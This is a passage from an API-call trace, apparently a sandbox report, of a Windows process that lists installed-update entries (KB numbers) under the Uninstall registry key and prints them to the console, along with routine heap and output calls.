(hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.334] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.334] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.334] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655") returned 131 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.334] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0149.334] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.334] RegCloseKey (hKey=0x5c) returned 0x0 [0149.334] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x14, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.334] __iob_func () returned 0x7fefd702a80 [0149.334] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.334] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\n") returned 132 [0149.334] _fileno (_File=0x7fefd702ab0) returned 1 [0149.335] _errno () returned 0x204bb0 [0149.335] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.335] _errno () returned 0x204bb0 [0149.335] GetFileType (hFile=0x50) returned 0x1 [0149.335] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\n") returned 132 [0149.335] GetConsoleOutputCP () returned 0x1b5 [0149.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0149.335] GetConsoleOutputCP () returned 0x1b5 [0149.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\n", lpUsedDefaultChar=0x0) returned 132 [0149.335] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0149.335] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.335] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.335] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.335] GetProcessHeap () returned 0x3c0000 [0149.335] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.335] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.335] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0149.335] GetProcessHeap () returned 0x3c0000 [0149.335] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0149.335] GetProcessHeap () returned 0x3c0000 [0149.335] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.335] GetProcessHeap () returned 0x3c0000 [0149.335] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.335] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2549743", pcbData=0x29f780*=0x14) returned 0x0 [0149.335] __iob_func () returned 0x7fefd702a80 [0149.336] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.336] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.336] _fileno (_File=0x7fefd702ab0) returned 1 [0149.336] _errno () returned 0x204bb0 [0149.336] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.336] _errno () returned 0x204bb0 [0149.336] GetFileType (hFile=0x50) returned 0x1 [0149.336] lstrlenW (lpString=" ") returned 4 [0149.336] GetConsoleOutputCP () returned 0x1b5 [0149.336] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.336] GetConsoleOutputCP () returned 0x1b5 [0149.336] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.336] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.336] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.336] lstrlenW (lpString="") returned 0 [0149.336] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.336] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0149.336] lstrlenW (lpString="(Default)") returned 9 [0149.336] __iob_func () returned 0x7fefd702a80 [0149.336] _fileno (_File=0x7fefd702ab0) returned 1 [0149.336] _errno () returned 0x204bb0 [0149.336] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.336] _errno () returned 0x204bb0 [0149.336] GetFileType (hFile=0x50) returned 0x1 [0149.336] lstrlenW (lpString="(Default)") returned 9 [0149.336] GetConsoleOutputCP () returned 0x1b5 [0149.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.337] GetConsoleOutputCP () returned 0x1b5 [0149.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0149.337] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.337] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.337] __iob_func () returned 0x7fefd702a80 [0149.337] _fileno (_File=0x7fefd702ab0) returned 1 [0149.337] _errno () returned 0x204bb0 [0149.337] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.337] _errno () returned 0x204bb0 [0149.337] GetFileType (hFile=0x50) returned 0x1 [0149.337] lstrlenW (lpString=" ") returned 4 [0149.337] GetConsoleOutputCP () returned 0x1b5 [0149.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.337] GetConsoleOutputCP () returned 0x1b5 [0149.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.337] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.337] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.337] __iob_func () returned 0x7fefd702a80 [0149.337] _fileno (_File=0x7fefd702ab0) returned 1 [0149.337] _errno () returned 0x204bb0 [0149.337] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.337] _errno () returned 0x204bb0 [0149.337] GetFileType (hFile=0x50) returned 0x1 [0149.338] lstrlenW (lpString="REG_SZ") returned 6 [0149.338] GetConsoleOutputCP () returned 0x1b5 [0149.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.338] GetConsoleOutputCP () returned 0x1b5 [0149.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.338] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.338] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.338] __iob_func () returned 0x7fefd702a80 [0149.338] _fileno (_File=0x7fefd702ab0) returned 1 [0149.338] _errno () returned 0x204bb0 [0149.338] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.338] _errno () returned 0x204bb0 [0149.338] GetFileType (hFile=0x50) returned 0x1 [0149.338] lstrlenW (lpString=" ") returned 4 [0149.338] GetConsoleOutputCP () returned 0x1b5 [0149.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.338] GetConsoleOutputCP () returned 0x1b5 [0149.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.338] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.338] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.338] __iob_func () returned 0x7fefd702a80 [0149.339] _fileno (_File=0x7fefd702ab0) returned 1 [0149.339] _errno () returned 0x204bb0 [0149.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.339] _errno () returned 0x204bb0 [0149.339] GetFileType (hFile=0x50) returned 0x1 [0149.339] lstrlenW (lpString="KB2549743") returned 9 [0149.339] GetConsoleOutputCP () returned 0x1b5 [0149.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2549743", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.339] GetConsoleOutputCP () returned 0x1b5 [0149.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2549743", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2549743", lpUsedDefaultChar=0x0) returned 9 [0149.339] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.339] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.339] __iob_func () returned 0x7fefd702a80 [0149.339] _fileno (_File=0x7fefd702ab0) returned 1 [0149.339] _errno () returned 0x204bb0 [0149.339] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.339] _errno () returned 0x204bb0 [0149.339] GetFileType (hFile=0x50) returned 0x1 [0149.339] lstrlenW (lpString="\n") returned 1 [0149.339] GetConsoleOutputCP () returned 0x1b5 [0149.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.339] GetConsoleOutputCP () returned 0x1b5 [0149.339] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.339] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.340] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.340] GetProcessHeap () returned 0x3c0000 [0149.340] GetProcessHeap () returned 0x3c0000 [0149.340] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.340] GetProcessHeap () returned 0x3c0000 [0149.340] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.340] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.340] __iob_func () returned 0x7fefd702a80 [0149.340] _fileno (_File=0x7fefd702ab0) returned 1 [0149.340] _errno () returned 0x204bb0 [0149.340] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.340] _errno () returned 0x204bb0 [0149.340] GetFileType (hFile=0x50) returned 0x1 [0149.340] lstrlenW (lpString="\n") returned 1 [0149.340] GetConsoleOutputCP () returned 0x1b5 [0149.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.340] GetConsoleOutputCP () returned 0x1b5 [0149.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.340] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.340] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.340] GetProcessHeap () returned 0x3c0000 [0149.340] GetProcessHeap () returned 0x3c0000 [0149.340] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.340] GetProcessHeap () returned 0x3c0000 [0149.340] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.340] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.340] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.340] GetProcessHeap () returned 0x3c0000 [0149.340] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.341] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743") returned 131 [0149.341] GetProcessHeap () returned 0x3c0000 [0149.341] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0149.341] GetProcessHeap () returned 0x3c0000 [0149.341] GetProcessHeap () returned 0x3c0000 [0149.341] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.341] GetProcessHeap () returned 0x3c0000 [0149.341] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.341] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.341] GetProcessHeap () returned 0x3c0000 [0149.341] GetProcessHeap () returned 0x3c0000 [0149.341] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.341] GetProcessHeap () returned 0x3c0000 [0149.341] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0149.341] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.341] RegCloseKey (hKey=0x5c) returned 0x0 [0149.341] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x15, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.341] __iob_func () returned 0x7fefd702a80 [0149.341] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.341] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\n") returned 132 [0149.341] _fileno (_File=0x7fefd702ab0) returned 1 [0149.341] _errno () returned 0x204bb0 [0149.341] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.341] _errno () returned 0x204bb0 [0149.341] GetFileType (hFile=0x50) returned 0x1 [0149.341] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\n") returned 132 [0149.341] GetConsoleOutputCP () returned 0x1b5 [0149.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0149.341] GetConsoleOutputCP () returned 0x1b5 [0149.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\n", lpUsedDefaultChar=0x0) returned 132 [0149.342] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0149.342] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.342] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.342] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.342] GetProcessHeap () returned 0x3c0000 [0149.342] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.342] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.342] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0149.342] GetProcessHeap () returned 0x3c0000 [0149.342] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0149.342] GetProcessHeap () returned 0x3c0000 [0149.342] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.342] GetProcessHeap () returned 0x3c0000 [0149.342] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.342] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2565063", pcbData=0x29f780*=0x14) returned 0x0 [0149.342] __iob_func () returned 0x7fefd702a80 [0149.342] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.342] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.342] _fileno (_File=0x7fefd702ab0) returned 1 [0149.342] _errno () returned 0x204bb0 [0149.342] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.342] _errno () returned 0x204bb0 [0149.342] GetFileType (hFile=0x50) returned 0x1 [0149.342] lstrlenW (lpString=" ") returned 4 [0149.342] GetConsoleOutputCP () returned 0x1b5 [0149.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.343] GetConsoleOutputCP () returned 0x1b5 [0149.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.343] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.343] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.343] lstrlenW (lpString="") returned 0 [0149.343] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.343] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0149.343] lstrlenW (lpString="(Default)") returned 9 [0149.343] __iob_func () returned 0x7fefd702a80 [0149.343] _fileno (_File=0x7fefd702ab0) returned 1 [0149.343] _errno () returned 